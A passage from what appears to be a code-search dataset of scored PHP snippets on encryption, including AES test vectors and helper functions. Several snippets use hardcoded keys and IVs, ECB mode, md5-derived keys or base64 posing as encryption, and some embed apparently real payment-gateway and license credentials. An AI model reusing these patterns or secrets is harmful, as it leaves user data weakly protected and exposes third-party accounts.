\"1f8e4973953f3fb0bd6b16662e9a3c17\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"2fe2b333ceda8f98f4a99b40d2cd34a8\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"45cf12964fc824ab76616ae2f4bf0822\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"0f61c4d44c5147c03c195ad7e2cc12b2\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"0700d603a1c514e46b6191ba430a3a0c\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"aad1583cd91365e3bb2f0c3430d065bb\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"068b25c7bfb1f8bdd4cfc908f69dffc5ddc726a197f0e5f720f730393279be91\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"c4dc61d9725967a3020104a9738f23868527ce839aab1752fd8bdb95a82c4d00\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"3348aa51e9a45c2dbe33ccc47f96e8de\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"19153c673160df2b1d38c28060e59b96\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"9b7cee827a26575afdbb7c7a329f887238052e3601a7917456ba61251c214763d5e1847a6ad5d54127a399ab07ee3599\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"d5aed6c9622ec451a15db12819952b6752501cf05cdbf8cda34a457726ded97818e1f127a28d72db5652749f0c6afee5\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"b7f3c9576e12dd0db63e8f8fac2b9a39\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"c80f095d8bb1a060699f7c19974a1aa0\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"9ac19954ce1319b354d3220460f71c1e373f1cd336240881160cfde46ebfed2e791e8d5a1a136ebd1dc469dec00c4187722b841cdabcb22c1be8a14657da200e\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"19b9609772c63f338608bf6eb52ca10be65097f89c1e0905c42401fd47791ae2c5440b2d473116ca78bd9ff2fb6015cfd316524eae7dcb95ae738ebeae84a467\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"b6f9afbfe5a1562bba1368fc72ac9d9c\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"3f9d5ebe250ee7ce384b0d00ee849322\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"db397ec22718dbffb9c9d13de0efcd4611bf792be4fce0dc5f25d4f577ed8cdbd4eb9208d593dda3d4653954ab64f05676caa3ce9bfa795b08b67ceebc923fdc89a8c431188e9e482d8553982cf304d1\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"10ea27b19e16b93af169c4a88e06e35c99d8b420980b058e34b4b8f132b13766f72728202b089f428fecdb41c79f8aa0d0ef68f5786481cca29e2126f69bc14160f1ae2187878ba5c49cf3961e1b7ee9\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"bbe7b7ba07124ff1ae7c3416fe8b465e\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"7f65b5ee3630bed6b84202d97fb97a1e\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"2aad0c2c4306568bad7447460fd3dac054346d26feddbc9abd9110914011b4794be2a9a00a519a51a5b5124014f4ed2735480db21b434e99a911bb0b60fe0253763725b628d5739a5117b7ee3aefafc5b4c1bf446467e7bf5f78f31ff7caf187\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"3b8611bfc4973c5cd8e982b073b33184cd26110159172e44988eb5ff5661a1e16fad67258fcbfee55469267a12dc374893b4e3533d36f5634c3095583596f135aa8cd1138dc898bc5651ee35a92ebf89ab6aeb5366653bc60a70e0074fc11efe\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"89a553730433f7e6d67d16d373bd5360\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"f724558db3433a523f4e51a5bea70497\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"807bc4ea684eedcfdcca30180680b0f1ae2814f35f36d053c5aea6595a386c1442770f4d7297d8b91825ee7237241da8925dd594ccf676aecd46ca2068e8d37a3a0ec8a7d5185a201e663b5ff36ae197110188a23503763b8218826d23ced74b31e9f6e2d7fbfa6cb43420c7807a8625\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"406af1429a478c3d07e555c5287a60500d37fc39b68e5bbb9bafd6ddb223828561d6171a308d5b1a4551e8a5e7d572918d25c968d3871848d2f16635caa9847f38590b1df58ab5efb985f2c66cfaf86f61b3f9c0afad6c963c49cee9b8bc81a2ddb06c967f325515a4849eec37ce721a\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"c491ca31f91708458e29a925ec558d78\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"9ef934946e5cd0ae97bd58532cb49381\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"cb6a787e0dec56f9a165957f81af336ca6b40785d9e94093c6190e5152649f882e874d79ac5e167bd2a74ce5ae088d2ee854f6539e0a94796b1e1bd4c9fcdbc79acbef4d01eeb89776d18af71ae2a4fc47dd66df6c4dbe1d1850e466549a47b636bcc7c2b3a62495b56bb67b6d455f1eebd9bfefecbca6c7f335cfce9b45cb9d\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"7b2931f5855f717145e00f152a9f4794359b1ffcb3e55f594e33098b51c23a6c74a06c1d94fded7fd2ae42c7db7acaef5844cb33aeddc6852585ed0020a6699d2cb53809cefd169148ce42292afab063443978306c582c18b9ce0da3d084ce4d3c482cfd8fcf1a85084e89fb88b40a084d5e972466d07666126fb761f84078f2\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"f6e87d71b0104d6eb06a68dc6a71f498\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"1c245f26195b76ebebc2edcac412a2f8\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"f82bef3c73a6f7f80db285726d691db6bf55eec25a859d3ba0e0445f26b9bb3b16a3161ed1866e4dd8f2e5f8ecb4e46d74a7a78c20cdfc7bcc9e479ba7a0caba9438238ad0c01651d5d98de37f03ddce6e6b4bd4ab03cf9e8ed818aedfa1cf963b932067b97d776dce1087196e7e913f7448e38244509f0caf36bd8217e15336d35c149fd4e41707893fdb84014f8729\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"b09512f3eff9ed0d85890983a73dadbb7c3678d52581be64a8a8fc586f490f2521297a478a0598040ebd0f5509fafb0969f9d9e600eaef33b1b93eed99687b167f89a5065aac439ce46f3b8d22d30865e64e45ef8cd30b6984353a844a11c8cd60dba0e8866b3ee30d24b3fa8a643b328353e06010fa8273c8fd54ef0a2b6930e5520aae5cd5902f9b86a33592ca4365\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"2c14413751c31e2730570ba3361c786b\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"1dbbeb2f19abb448af849796244a19d7\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"40d930f9a05334d9816fe204999c3f82a03f6a0457a8c475c94553d1d116693adc618049f0a769a2eed6a6cb14c0143ec5cccdbc8dec4ce560cfd206225709326d4de7948e54d603d01b12d7fed752fb23f1aa4494fbb00130e9ded4e77e37c079042d828040c325b1a5efd15fc842e44014ca4374bf38f3c3fc3ee327733b0c8aee1abcd055772f18dc04603f7b2c1ea69ff662361f2be0a171bbdcea1e5d3f\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"6be8a12800455a320538853e0cba31bd2d80ea0c85164a4c5c261ae485417d93effe2ebc0d0a0b51d6ea18633d210cf63c0c4ddbc27607f2e81ed9113191ef86d56f3b99be6c415a4150299fb846ce7160b40b63baf1179d19275a2e83698376d28b92548c68e06e6d994e2c1501ed297014e702cdefee2f656447706009614d801de1caaf73f8b7fa56cf1ba94b631933bbe577624380850f117435a0355b2b\"),\n\t\t\t],\n\t\t];\n\t}", "title": "" }, { "docid": "4a627edd12dde2bda0e6312577c4df74", "score": "0.47779602", "text": "public function isEncrypted()\n {\n }", "title": "" }, { "docid": "fab616070eeddf8eb37d55dfb680a960", "score": "0.476903", "text": "function openssl_public_decrypt ($data, &$decrypted, $key, $padding = null) {}", "title": "" }, { "docid": "d06f35b6b61d0c22b4f9f9e87cf84ddd", "score": "0.47652307", "text": "function encrypt($data, $secret)\n{\n $key = md5(utf8_encode($secret), true);\n\n //Take first 8 bytes of $key and append them to the end of $key.\n $key .= substr($key, 0, 8);\n\n //Pad for PKCS7\n $blockSize = mcrypt_get_block_size('tripledes', 'ecb');\n $len = strlen($data);\n $pad = $blockSize - ($len % $blockSize);\n $data .= str_repeat(chr($pad), $pad);\n\n //Encrypt data\n $encData = mcrypt_encrypt('tripledes', $key, $data, 'ecb');\n\n return base64_encode($encData);\n}", "title": "" }, { "docid": "cdc5ab634c4c5b00caead5e2770cdd27", "score": "0.47589937", "text": "public function isEncrypted();", "title": "" }, { "docid": "c03f4d0e14b42e0b9215ad58bb3afdac", "score": "0.4749795", "text": "function gerneratePSK() {\n\tglobal $wgbinpath;\n\n\treturn exec(\"{$wgbinpath} genpsk\");\n}", "title": "" }, { "docid": "86adfbc215ffcdcc26c29cfeb8ae0c15", "score": "0.4748912", "text": "function encrypteData($dd)\n {\n $merchant_data='';\n $working_key='A087123D0EA8318575EA3EDDDF177F7E';//Shared by CCAVENUES\n $access_code='AVUD66DH35AD37DUDA';//Shared by CCAVENUES\n foreach ($dd as $key => $value){\n $merchant_data.=$key.'='.$value.'&';\n }\n\n $encrypted_data=encrypt($merchant_data,$working_key); // Method for encrypting the data.\n return $encrypted_data;\n }", "title": "" }, { "docid": "f5dcf0585bb9a20e57654092fdba2906", "score": "0.47329915", "text": "function my_simple_crypt($string, $action = 'e') {\n $secret_key = 'my_simple_secret_key';\n $secret_iv = 'my_simple_secret_iv';\n\n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash('sha256', $secret_key);\n $iv = substr(hash('sha256', $secret_iv), 0, 16);\n\n if ($action == 'e') {\n $output = base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv));\n } else if ($action == 'd') {\n $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);\n }\n\n return $output;\n }", "title": "" }, { "docid": "0a5b8d603f0d58693242275dbceea0cf", "score": "0.4732108", "text": "function desencriptar($str) {\n\n \t//nadie mas debe conocerla\n\t$clave = 'QAZWSXEDCRFVTGBYHNUJMIK,OL.PÑ-+}{qazwsxedcrfvtgbyhnujmikpñ#$%&/()789456123.70';\n\t//Metodo de encriptación\n\t$method = 'aes-256-cbc';\n\t// Puedes generar una diferente usando la funcion $getIV()\n\t$iv = base64_decode(\"C9fBfrseEWtYTL1/M8jfstw==\");\n\n $encrypted_data = base64_decode($str);\n $resultado= openssl_decrypt($str, $method, $clave, false, $iv);\n return$resultado;\n }", "title": "" }, { "docid": "e4a61fa5ee666c26e70bdf4f81343ab2", "score": "0.47274104", "text": "function mcrypt_encrypt () {}", "title": "" }, { "docid": "94ad055b2f6c847ce14a6da42f5d62cf", "score": "0.47270775", "text": "private function createKey()\n\t{\n\t\t$this->deck = array();\n\t\t$this->t1 = array();\n\t\t$this->t2 = array_fill(0, self::ROTORSZ, 0);\n\t\t$this->t3 = $this->t2;\n\t\t$this->xkey = $this->key();\n\t\t$klen = $this->keySize();\n\n\t\t// get the key to exactly 13 bytes if it's less than 13\n\t\tif($klen < 13)\n\t\t\t$this->xkey = str_pad($this->xkey, 13, chr(0), STR_PAD_RIGHT);\n\n\t\t$seed = 123;\n\t\tfor($i = 0; $i < 13; ++$i)\n\t\t\t$seed = parent::sInt32($seed) * ord($this->xkey[$i]) + $i;\n\n\t\t// sets $t1 and $deck\n\t\tfor($i = 0; $i < self::ROTORSZ; ++$i)\n\t\t{\n\t\t\t$this->t1[] = $i;\n\t\t\t$this->deck[] = $i;\n\t\t}\n\n\t\t// sets $t3\n\t\tfor($i = 0; $i < self::ROTORSZ; ++$i)\n\t\t{\n\t\t\t// make sure the return values are 32 bit\n\t\t\t$seed = 5 * parent::sInt32($seed) + ord($this->xkey[$i % 13]);\n\t\t\t$seed = parent::sInt32($seed);\n\n\t\t\t// force the returned value to be an unsigned int\n\t\t\t//$random = parent::uint32($seed % 65521);\n\t\t\t$random = parent::uInt($seed % 65521);\n\n\t\t\t$k = self::ROTORSZ - 1 - $i;\n\t\t\t$ic = ($random & self::MASK) % ($k + 1);\n\n\t\t\t// make sure the returned value is an unsigned int\n\t\t\t$random = parent::uInt($random >> 8);\n\n\t\t\t$temp = $this->t1[$k];\n\t\t\t$this->t1[$k] = $this->t1[$ic];\n\t\t\t$this->t1[$ic] = $temp;\n\t\t\tif($this->t3[$k] != 0)\n\t\t\t\tcontinue;\n\n\t\t\t$ic = ($random & self::MASK) % $k;\n\t\t\twhile($this->t3[$ic] != 0)\n\t\t\t\t$ic = ($ic + 1) % $k;\n\n\t\t\t$this->t3[$k] = $ic;\n\t\t\t$this->t3[$ic] = $k;\n\t\t}\n\n\t\t// sets $t2\n\t\tfor($i = 0; $i < self::ROTORSZ; ++$i)\n\t\t{\n\t\t\t$pos = $this->t1[$i] & self::MASK;\n\t\t\t$this->t2[$pos] = $i;\n\t\t}\n\n\t\t// now convert $t1, $t2, $t3, $deck values to signed chars,\n\t\t// PHP's chr() function returns an unsigned char, so we have\n\t\t// to use use our own\n\t\t$this->t1 = array_map(\"parent::sChar\", $this->t1);\n\t\t$this->t2 = array_map(\"parent::sChar\", $this->t2);\n\t\t$this->t3 = array_map(\"parent::sChar\", $this->t3);\n\t\t$this->deck = array_map(\"parent::sChar\", $this->deck);\n\t}", "title": "" }, { "docid": "a02c91fc0c6475be54b0dfc0e52dca42", "score": "0.4723958", "text": "function _decrypt($data) {\n\t\tload_config();\n\t\t$data = base64_decode($data);\n\t\t$data = explode(AUTH_KEY, $data);\n\t\treturn $data[1];\n\t}", "title": "" }, { "docid": "2819a815f4abee6e5e4d6fcbfd7608da", "score": "0.472085", "text": "function mcrypt_create_iv () {}", "title": "" }, { "docid": "e0cb89f40bc1cca4c741424ebeaa9adf", "score": "0.47075847", "text": "function encrypt_decrypt($action, $string)\r\n{\r\n $output = false;\r\n \r\n $encrypt_method = \"AES-256-CBC\";\r\n $secret_key = 'This is my secret key';\r\n $secret_iv = 'This is my secret iv';\r\n \r\n // hash\r\n $key = hash('sha256', $secret_key);\r\n \r\n // iv - encrypt method AES-256-CBC expects 16 bytes - else you will get a\r\n // warning\r\n $iv = substr(hash('sha256', $secret_iv), 0, 16);\r\n \r\n if ($action == 'encrypt')\r\n {\r\n $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);\r\n $output = base64_encode($output);\r\n }\r\n else\r\n {\r\n if ($action == 'decrypt')\r\n {\r\n $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);\r\n }\r\n }\r\n \r\n return $output;\r\n}", "title": "" }, { "docid": "fda8ce5d74c9c33d170bf67439b886cf", "score": "0.47028598", "text": "function hashDeCrypt ($info)\n{\n\t//password_verify($password, $hash)\n\treturn password_verify($info['valide'], $info['sql']);\n}", "title": "" }, { "docid": "5a85aaa88f9137761f288b8fcf746526", "score": "0.46964893", "text": "public static function keyCreate(){\n\t\treturn base64_encode(mcrypt_create_iv(\n\t\t\t mcrypt_get_key_size(self::$crypt_cipher,self::$crypt_mode)\n\t\t\t,self::$crypt_rand\n\t\t));\n\t}", "title": "" }, { "docid": "7ebf0c67076515f2afd0c52afcdfc42e", "score": "0.46840078", "text": "function mcrypt_module_self_test () {}", "title": "" }, { "docid": "5aa009c99e206c6717a1fc9e004eafae", "score": "0.46823737", "text": "function process_card($card_details)\n{\n // use gpg to encrypt and mail or\n // store in DB if you really want to\n\n return true;\n}", "title": "" }, { "docid": "f1619f30248c66ba16d3afdc4f198235", "score": "0.46786785", "text": "public function testIfDatacanbeEncryptedAndDecrypted(): void {\r\n\r\n $encrypted = $this -> libsodium -> encrypt('data', $this -> key);\r\n \r\n $this -> assertIsString($encrypted);\r\n $this -> assertEquals('data', $this -> libsodium -> decrypt($encrypted, $this -> key));\r\n }", "title": "" }, { "docid": "ab01ee684ca4c127cfa2adf93df7ef04", "score": "0.4666839", "text": "function getFixedIv16Byte()\r\n{\r\n return \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\";}", "title": "" }, { "docid": "6f0a9a00bcdf746b8233ae4ccbb01800", "score": "0.46667907", "text": "function Encrypted($param)\n{\n\t$crypt = new CkCrypt2();\n\n\t$success = $crypt->UnlockComponent('HADIMACrypt_geHYyXETXR9X');\n\tif (!$success) {\n\t print $crypt->lastErrorText() . \"\\n\";\n\t exit;\n\t}\n\n\t$crypt->put_CryptAlgorithm('aes');\n\t$crypt->put_CipherMode('cbc');\n\t$crypt->put_KeyLength(128);\n\t$crypt->put_PaddingScheme(0);\n\n\t$ivHex = '581b524c8088737dd0b6f733fb222bfc0e974c14';\n\t$crypt->SetEncodedIV($ivHex,'hex');\n\n\t$keyHex = '7548c52670da8c237f3adab9baacb156';\n\t$crypt->SetEncodedKey($keyHex,'hex');\n\n\t$direnc = \"/var/www/laravel/storage/app/Report/enc/\";\n\t$dirdec = \"/var/www/laravel/storage/app/Report/dec/\";\n\n\tif (!is_dir($direnc)) {\n\t mkdir($direnc, 0777, true); \n\t}\n\n\tif (!is_dir($dirdec)) {\n\t mkdir($dirdec, 0777, true); \n\t}\n\n\t$dataFile = $param;\n\t$outFile = $direnc.date(\"Ymdhis\").'.ENC';\n\t// $outFile2 = $dirdec.'Test_'.date(\"Ymdhis\").'.pdf';\n\n\t$success = $crypt->CkEncryptFile($dataFile,$outFile);\n\tif($success){\n\t\treturn 'success#'.$outFile;\n\t}else{\n\t\treturn 'error#'.$crypt->lastErrorText();\n\t}\n\t// $success = $crypt->CkDecryptFile($outFile,$outFile2);\n\n\t// $fac = new CkFileAccess();\n\t// $bEqual = $fac->FileContentsEqual($dataFile,$outFile2);\n\t// if ($bEqual != true) {\n\t// return 'Decrypted file not equal to the original.';\n\t// }\n\t// else {\n\t// return 'Success.';\n\t// }\n}", "title": "" }, { "docid": "8976af5412eda375da231bf224b118aa", "score": "0.46559313", "text": "function decrypt_token($strting) {\n get_instance()->encryption->initialize(\n array(\n 'cipher' => 'aes-128',\n 'key' => ENCKEY\n )\n );\n return get_instance()->encryption->decrypt($strting);\n}", "title": "" }, { "docid": "080bf8343d894eff5ff1c7c29fd60a1c", "score": "0.4632053", "text": "function openssl_pkey_export ($key, &$out, $passphrase = null, array $configargs = null) {}", "title": "" }, { "docid": "22ff693cfe8e2ce2f9c61f718c97a141", "score": "0.4624014", "text": "function decrypt($data, $params = array())\n {\n return $data;\n }", "title": "" }, { "docid": "ccf73d675ecacca6accb1d0933dae483", "score": "0.46212214", "text": "public function test_it_encrypts_and_decrypts_the_keys()\n {\n $keyPair = factory(KeyPair::class)->create([\n 'private_key' => 'abcdef1234',\n 'public_key' => 'fedcba4321'\n ]);\n\n $this->assertEquals(\n 'abcdef1234',\n $keyPair->private_key\n );\n $this->assertNotEquals(\n 'abdef1234',\n $keyPair->getAttributes()['private_key']\n );\n\n $this->assertEquals(\n 'fedcba4321',\n $keyPair->public_key\n );\n $this->assertNotEquals(\n 'fedcba4321',\n $keyPair->getAttributes()['public_key']\n );\n }", "title": "" }, { "docid": "3a08572a41073593cb4d81282992616f", "score": "0.4617847", "text": "function DECRYPT_DATA($str, $key=ENCRYPT_KEY){\r\r\n\tif( is_string($str) && is_string($key) ) {\r\r\n\t\t$str = mb_convert_encoding($str, 'HTML-ENTITIES', \"UTF-8\");\r\r\n\t\t$sl = strlen($str); $kl = strlen($key);\r\r\n\t\t$fk = str_split(str_repeat($key, ceil($sl/$kl)));\r\r\n\t\t$es = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\r\r\n\t\t$ea = array( 'a' => array(), 'm' => array(), 'c' => array());\r\r\n\t\tforeach( str_split( $es ) as $key => $char ) { $ea['a'][] = $key; $ea['m'][] = md5($char); $ea['c'][] = $char; }\r\r\n\t\t$ns = '';\r\r\n\t\t$sp = str_split($str);\r\r\n\t\tforeach( $fk as $k => $_char ) {\r\r\n\t\t\tif( ! isset( $sp[$k] ) ) break;\r\r\n\t\t\t$cm = md5($sp[$k]);\r\r\n\t\t\tif( in_array( $cm, $ea['m'] ) ) {\r\r\n\t\t\t\t$kk = array_keys( $ea['m'], $cm );\r\r\n\t\t\t\tif( in_array( md5($_char), $ea['m'] ) ) {\r\r\n\t\t\t\t\t$sk = array_keys( $ea['m'], md5($_char) );\r\r\n\t\t\t\t\t$n = $ea['a'][$kk[0]] + $ea['a'][$sk[0]];\r\r\n\t\t\t\t\tif( $n > (strlen($es)-1) )\r\r\n\t\t\t\t\t $n = $n - strlen($es);\r\r\n\t\t\t\t\t$ns .= $es[$n];\r\r\n\t\t\t\t}else\r\r\n\t\t\t\t\t$ns .= $_char;\r\r\n\t\t\t}else\r\r\n\t\t\t\t$ns .= $_char;\r\r\n\t\t}\r\r\n\t\treturn $ns;\r\r\n\t}\r\r\n}", "title": "" }, { "docid": "98005aefc5671b4a8746bb55f142e964", "score": "0.46154806", "text": "function decrypt_password($username, $pass_crypt)\n\t{\n\t\t$key = $username;\n\t\t$desencrypt = new DESEncryption();\n\t\t$cipher_password = $desencrypt->hexToString($pass_crypt);\n\t\t$plain_pass = $desencrypt->des($key, $cipher_password, 0, 1);\n\t\treturn $plain_pass;\n\t}", "title": "" }, { "docid": "467324019b3ccaf96840e1d965dad4ab", "score": "0.46111596", "text": "function encrypted($kode) {\n $ciphering = \"AES-128-CTR\";\n\n // Use OpenSSl Encryption method \n $iv_length = openssl_cipher_iv_length($ciphering);\n $options = 0;\n\n // Non-NULL Initialization Vector for encryption \n $encryption_iv = '1234567891011121';\n\n // Store the encryption key \n $encryption_key = \"orcoiste\";\n\n // Use openssl_encrypt() function to encrypt the data \n $encryption = openssl_encrypt($kode, $ciphering, $encryption_key, $options, $encryption_iv);\n return $encryption;\n}", "title": "" }, { "docid": "55e9468d371f52e3c4a87281c71ceeed", "score": "0.46111575", "text": "public function actionB() {\n// $r = $des->decrypt('cu4KWII\\/6ijlih283Sa52tGkwZaxrOiIQ4DSqKTMQLoBx2GH6BjR67E+BgaDVhnKpBmRON1e7xyLYx4Cx9z1dfSul8tBFEOyorHQIxwfwn96u\\/\\/ER3HsFeaXE8AGMT81pphvUJI5f5hUVtG+isGjiNmBuuNAHkzSlBVxTXFFRxjAdU5Gk3ReKdvZsnD+10NBPaWf\\/ZB5XNstMUK+D114tzb3A2bHTFmGLf8eRPAmPhwGXbcdGEg6FLZKYv1FtJRW7okCgwLcKGa6QXQB4eK8VIfcEJ3\\/j2wxnTCm2bRX3yNae1Eov0dD1JCwY50A3Tyt1ZST17kR1NicWCi150qksgQyBiFAM6HuRUNA3q84QyqG6CuwD1NzUA+XQQXrFiDLDthgV+BIvQRYxnLKBlrp3ilL5Cd4JjqF9fUjUWaOofC0wzX1agnfmA==');\n// $third = new \\app\\modules\\openapi\\services\\ThirdApiService();\n// $d = $third->playOrder(json_decode($r, true), '14c3ef5cbe11406193031f3d0c646725');\n// $d = new \\app\\modules\\tools\\kafka\\NmOutTicket();\n// $r = $d->run(['autoCode' => 'GLCAUTO18051711NM0000010', 'thirdOrderCode' => 'XXCHHGG18051618T0000001', 'queueId' => '18813']);\n// $d = new \\app\\modules\\tools\\kafka\\AutoOrderCreate();\n// $r = $d->run(['orderId'=> '23167', 'majorData' => [], 'queueId' => '65066']);\n// $d = new \\app\\modules\\tools\\kafka\\LotteryJob();\n// $r = $d->run(['orderId' => '18472', 'queueId' => '18824']);\n// $d = new \\app\\modules\\tools\\kafka\\JlOutTicket();\n// $r = $d->run(['autoCode' => 'XXCAUTO18052509JL0000001', 'thirdOrderCode' => '', 'queueId' => '573']);\n// $r = \\app\\modules\\orders\\helpers\\OrderDeal::confirmOutTicket('GLCDLT18052316T0000004');\n// $d = new \\app\\modules\\tools\\kafka\\CancelScheduleAward();\n// $r = $d->run(['mid' => '108107', 'code' => 3000, 'queueId' => '20497']);\n// $d = new \\app\\modules\\tools\\kafka\\ThirdOrderCreate();\n// $r = $d->run(['apiOrderId' => 639, 'thirdOrderCode' => 'XXCDLT18052317T0000001', 'userId' => '272', 'custNo' => 'gl00030106', 'queueId' => 21624]);\n// $key = 'testGLCDLT18052316T0000002';\n// $d = \\app\\modules\\common\\services\\RedisService::lock($key);\n// $d = UpdateOdds::outNmUpdateOdds('GLCBQC18052416T0000001');\n// $d = new \\app\\modules\\tools\\kafka\\ThirdOrderCreate;\n// $r = $d->run(['apiOrderId' => 718, 'thirdOrderCode' => 'XXCDLT18060714T0000001', 'userId' => 272, 'custNo' => 'gl00030106', 'queueId' => 26938]);\n $d = new \\app\\modules\\tools\\kafka\\OrderPollingStore();\n $r = $d->run(['orderCode' => 'GLCHHGG18061315T0000002', 'queueId' =>29197]);\n print_r($r);\n }", "title": "" }, { "docid": "082b06db65304dc47802a1fdb6fb33a2", "score": "0.4608828", "text": "function generarPassword()\r\n {\r\n $longitud = 8;\r\n $psswd = substr( md5(microtime()), 1, $longitud);\r\n $psswd = strtoupper($psswd);\r\n\r\n $this->psswd = $psswd;\r\n }", "title": "" }, { "docid": "c01577b52ae6773910198529c370ac30", "score": "0.4599414", "text": "function openssl_private_decrypt ($data, &$decrypted, $key, $padding = null) {}", "title": "" }, { "docid": "50627b0051c60a9f11b414f871301fb1", "score": "0.45978352", "text": "function encrypt_decrypt( $action, $string )\n{\n $output = false;\n $key = 'Taxi Application';\n // initialization vector \n $iv = md5( md5( $key ) );\n if ( $action == 'encrypt' ) {\n $output = base64_encode( ENCRYPT_KEY . $string );\n } else if ( $action == 'decrypt' ) {\n $decrypt_val = base64_decode( $string );\n $split = explode( '_', $decrypt_val );\n if ( count( $split ) > 1 ) {\n $output = trim( $split[1] );\n } else {\n $output = \"\";\n }\n }\n return $output;\n}", "title": "" }, { "docid": "594c44a3b3166ce7cd645d05045c9a97", "score": "0.4596833", "text": "function encryptDecrypt( $string, $action = 'e' ) {\n $secret_key = 'cake_enc_type';\n $secret_iv = 'cake_dec_type';\n\n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n\n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n return $output;\n }", "title": "" }, { "docid": "d0f0b821b25073e6e55bf9168f341673", "score": "0.4593874", "text": "public function testEditPdfDecrypt()\n {\n }", "title": "" }, { "docid": "6c3b25b9adca1c6cdd57de6a49ffea38", "score": "0.45914885", "text": "public function getCEP(){\n return $this->CEP;\n }", "title": "" }, { "docid": "58ccd359d7286217d92b155a2001edf6", "score": "0.45830885", "text": "public function decrypt($message)\n {\n }", "title": "" }, { "docid": "55c460553c35d72788567c1c7f5027fc", "score": "0.45684344", "text": "function setPrivateKeyFromXML($xml_d, $xml_modulus)\r\n\t{\r\n\t\t$binKey = base64_decode($xml_d);\r\n\t\t$this->d = new Math_BigInteger($binKey, 256);\r\n\r\n\t\t$binKey = base64_decode($xml_modulus);\r\n\t\t$this->modulus = new 